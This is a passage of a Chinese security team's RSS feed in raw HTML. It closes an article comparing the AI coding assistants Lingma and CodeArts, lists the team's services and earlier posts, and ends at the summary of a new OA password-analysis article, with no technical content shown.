3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038626" src="https://wechat2rss.xlab.app/img-proxy/?k=ac5a3290&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdVlib1lBjL4GRjOBzAputLUvic8uzOp49Ox0zYCMCzUib2vkCib3qflbcbIQx98eyx9PdnsibQDckjL8hB9LweLIlHenOsvukBahs5U%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">再次对比一下两个的使用结果：</span></span></h3><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5982300884955752" data-type="png" data-w="565" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038628" src="https://wechat2rss.xlab.app/img-proxy/?k=ee18b3ab&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdXUpCKlppWZbMGyM9khSvCANkia4N006ZoHv3zia19ToJ2YAxmLialPYlbhU9G19JCCoswPfmIRVCPPt2sW5uQQXzmxb3SS35UR18%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">4、总结一下</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">根据结果，通义灵码（Lingma）实现的成功率更高，但使用代码量更多，云码道（codeArts）代码更精简，但要经过更多次的提示才可以达到预定效果。可以说各有利弊。</span></p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 20px;color: rgb(255, 255, 255);background-color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: center;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 30px;border-top-right-radius: 30px;border-bottom-left-radius: 30px;border-bottom-right-radius: 30px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: center;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">四、个人心得</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">使用ai的确可以使效率提升显著，AI的特点能够快速扫描代码，迅速定位潜在的问题，并提供修改建议，这的确非常让人省心。但AI的修改建议并不总是完全准确的，比如之前我可能只有一个变量名或者函数名写错了导致报错，ai给出的修复建议可以说是谬之千里，最终还是要靠人来进行修改。</span><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">ai是好伙伴、好老师、好工具但不它永远不是ourselves。</span></strong></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.0294117647058822" data-type="png" data-w="170" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038629" src="https://wechat2rss.xlab.app/img-proxy/?k=eb248187&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdUz7xNgfwHdJFXzKUqTxawt0icPNL1gzcBx1y5tqbwHRJTCtgqfbq3J2W1oB3BxmvXweSZkFRg12vfbwPrU0WialJX3GjK2oaUAQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure></div></div></div></div><div data-mid="" mpa-from-tpl="t" style="margin-bottom: 15px;max-width: 100%;font-size: 16px;white-space: normal;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;z-index: 2;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 2px;max-width: 100%;background: rgb(255, 255, 255);border-radius: 13px;border-width: 1px;border-style: solid;border-color: rgb(45, 133, 224);overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 24px;padding-left: 24px;max-width: 100%;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;border-radius: 11px;border-width: 1px;border-style: dotted;border-color: rgb(45, 133, 224);text-align: center;overflow-wrap: break-word !important;box-sizing: border-box !important;"><p data-mid="" style="max-width: 100%;font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(45, 133, 224);line-height: 22px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">往期推荐</span></p></div></div></div><div data-mid="" mpa-from-tpl="t" style="margin-bottom: 0px;max-width: 100%;font-size: 16px;white-space: normal;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="max-width: 100%;width: 474px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 14px 8px 2px;max-width: 100%;width: 474px;background: rgb(255, 255, 255);border-radius: 5px;border-width: 1px;border-style: solid;border-color: rgb(74, 138, 218);overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 3px;max-width: 100%;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;width: 456px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 12px;padding-left: 12px;max-width: 100%;width: 450px;text-align: center;overflow-wrap: break-word !important;box-sizing: border-box !important;"><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247516589&amp;idx=1&amp;sn=107da3b45e88255f240504d033ebde7f&amp;scene=21#wechat_redirect" textvalue="TscanPlus-一款红队自‍动化工具" data-itemshowtype="0" linktype="text" data-linktype="2">TscanPlus-一款红队自动化工具</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247499902&amp;idx=1&amp;sn=59cba8d980b4ecb0deefff99edaabd4d&amp;chksm=ce5de21ff92a6b09a8972a0144557b0099e443aa8e018b17151c816fc7f08f3615ecb22617fc&amp;scene=21#wechat_redirect" textvalue="潮影在线免杀平台上线了" data-itemshowtype="0" linktype="text" data-linktype="2">潮影在线免杀平台上线了</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498466&amp;idx=1&amp;sn=085c15679436dedb06a179ca8d47951a&amp;chksm=ce5dd883f92a5195ef74ac517741f6d3da0da40b5501d72016e52cb70344904bb85b8aef65ba&amp;scene=21#wechat_redirect" textvalue="自动化渗透测试工具开发实践" data-itemshowtype="0" linktype="text" data-linktype="2">自动化渗透测试工具开发实践</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247492640&amp;idx=1&amp;sn=43b1991dc5628eab322923083fde8d70&amp;chksm=ce5dc641f92a4f57ffb18e2977644b1f977fcc5e0eccdf10956d3ae4ce70dc95024500631e89&amp;scene=21#wechat_redirect" textvalue="【红蓝对抗】利用CS进行内网横向" data-itemshowtype="0" linktype="text" data-linktype="2">【红蓝对抗】利用CS进行内网横向</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498344&amp;idx=1&amp;sn=3679330363ff6890166b09f6a502f769&amp;chksm=ce5dd809f92a511f6066fcbb12fb5c1dc8c2642e4e2690dad64d76cc6f9247eae356d16f5810&amp;scene=21#wechat_redirect" textvalue="一个Go版(更强大)的TideFinger" data-itemshowtype="0" linktype="text" data-linktype="2">一个Go版(更强大)的TideFinger</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247499823&amp;idx=1&amp;sn=065ffeae6bd02fff922cfb12c5a0f4df&amp;chksm=ce5de24ef92a6b58f709260b691e6b36e4a53aac00d3022946302b8e638696ed55c70e13e16f&amp;scene=21#wechat_redirect" textvalue="SRC资产导航监测平台Tsrc上线了" data-itemshowtype="0" linktype="text" data-linktype="2">SRC资产导航监测平台Tsrc上线了</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="max-width: 100%;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-size: 14px;text-align: center;white-space: normal;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247506056&amp;idx=1&amp;sn=ad6dd23f58f5fd8ce899a1e292f5b685&amp;chksm=ce5dfae9f92a73ff4f14c812436cb5bfecb29db04eada11c409e946d5338c82a92bcaa425736&amp;scene=21#wechat_redirect" textvalue="新潮信息-Tide安全团队2022年度总结" data-itemshowtype="0" linktype="text" data-linktype="2">新潮信息-Tide安全团队2022年度总结</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498965&amp;idx=1&amp;sn=655548831da6808a020ad07294a92e60&amp;chksm=ce5ddeb4f92a57a283d5692c246e54655319ab0d09f6403e354300a2777cda6ae4c787631ab3&amp;scene=21#wechat_redirect" textvalue="记一次实战攻防(打点-Edr-内网-横向-Vcenter)" data-itemshowtype="0" linktype="text" data-linktype="2">记一次实战攻防(打点-Edr-内网-横向-Vcenter)</a></span></p></div></div></div></div></div><div draggable="false" style="margin-bottom: 0px;max-width: 100%;white-space: normal;overflow: hidden;color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;text-align: start;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><div style="max-width: 100%;display: flex;justify-content: center;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.0810810810810811" data-type="gif" data-w="37" style="width: 37px;display: block;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=a96b63a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FrTicZ9Hibb6RWbGNtVfIZbm2rmGO4hQDzQUrLN62vEGlA4fPmib5utUAp9gbQicb6FC82RjsVI5vx7wEc9yAAiaFEoQ%2F640%3Fwx_fmt%3Dgif"/></span></p></div></div><div style="margin-bottom: 0px;max-width: 100%;box-sizing: border-box;white-space: normal;font-size: 16px;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;display: inline-block;width: 520.195px;vertical-align: top;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;justify-content: center;display: flex;flex-flow: row nowrap;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">E</span></p></div></div></div></div><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">N</span></p></div></div></div></div><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">D</span></p></div></div></div></div></div></div></div><div draggable="false" data-tools-id="47164" style="max-width: 100%;overflow: hidden;color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><div style="max-width: 100%;display: flex;flex-direction: column;align-items: center;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="padding: 10px 15px;max-width: 100%;border-width: 1px;border-style: solid;border-color: rgb(1, 0, 70);background-color: rgb(199, 221, 253);color: rgb(0, 0, 70);font-size: 14px;line-height: 14px;font-family: 思源黑体;letter-spacing: 1px;transform: rotate(0deg);overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">Tide团队产品及服务</span></strong></p><div style="margin-top: -15px;padding: 35px 15px 20px;max-width: 100%;border-width: 1px;border-style: solid;border-color: rgb(1, 0, 70);overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队自研平台</span></strong><span leaf="">：潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">技术分享方向</span></strong><span leaf="">:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队知识wiki</span></strong><span leaf="">：红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队网盘资料</span></strong><span leaf="">：安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......</span></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=bcb8f89a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2NTA4OTI5NA%3D%3D%26mid%3D2247522285%26idx%3D1%26sn%3D3d959e54ae3a9c0f88ccaa6f2ecd63cd">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 29 Jun 2026 17:00:00 +0800</pubDate>
    </item>
    <item>
      <title>某OA密码加密方式分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247522198&amp;idx=1&amp;sn=b546e2365ec709b17c00092c894a277a</link>
      <description>某oa存在任意文件读取漏洞，第一个log文件中泄露了部分加密过的用户的登录密码等信息，对其密码进行分析破解。</description>
      <content:encoded><![CDATA[<p>原创 <span>zer0</span> <span>2026-05-21 17:30</span> <span style="display: inline-block;">山东</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=056fe8d6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjS2mB7OlsdUH3gbmmkv13B6AicOIy3uQ3qicQ7kkSOgxhphSZtavsNrCzZVmxLJ4KS3dh0rmY5u3RiaibOsa92KaGr1QMLicPUxYPibrmdLV9y5xo%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>某oa存在任意文件读取漏洞，第一个log文件中泄露了部分加密过的用户的登录密码等信息，对其密码进行分析破解。</p>
  <div data-mpa-template="t" mpa-from-tpl="t" style="margin-bottom: 0px;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 10px;padding-left: 10px;width: 578px;"><div data-mid="" mpa-from-tpl="t" style="width: 558px;display: flex;flex-direction: column;"><div data-mpa-template="t" mpa-from-tpl="t" data-mpa-powered-by="yiban.io" style="margin-bottom: 0px;display: flex;justify-content: center;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 10px;padding-left: 10px;width: 578px;"><div data-mid="" mpa-from-tpl="t" style="width: 558px;display: flex;flex-direction: column;"><p data-mid="" mpa-from-tpl="t" style="margin-bottom: -11px;margin-left: -7px;width: 21px;height: 18px;display: flex;justify-content: center;align-items: center;align-self: flex-start;z-index: 1;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8571428571428571" data-w="42" src="https://wechat2rss.xlab.app/img-proxy/?k=992d3ad3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDuibU3GqmxVmRsdItbBVRKegNHicHQvAHDdZsGpLVU7touSU1AU1twHTfRjG3Vu5aUh0RnPPllfVUhs4qdWF5QYQ%2F640%3Fwx_fmt%3Dpng"/></span></p><div data-mid="" mpa-from-tpl="t" style="width: 558px;background: rgb(255, 145, 1);transform: rotate(-3deg) scale(0.9);"><div data-mid="" mpa-from-tpl="t" style="width: 558px;transform: rotate(3deg) scale(1.1);background: rgb(255, 252, 227);border-width: 1px;border-style: solid;border-color: rgb(246, 128, 31);"><div data-mid="" mpa-from-tpl="t" style="padding: 14px 11px 13px 12px;width: 556px;text-align: left;"><p data-mid="" mpa-is-content="t" style="font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(62, 62, 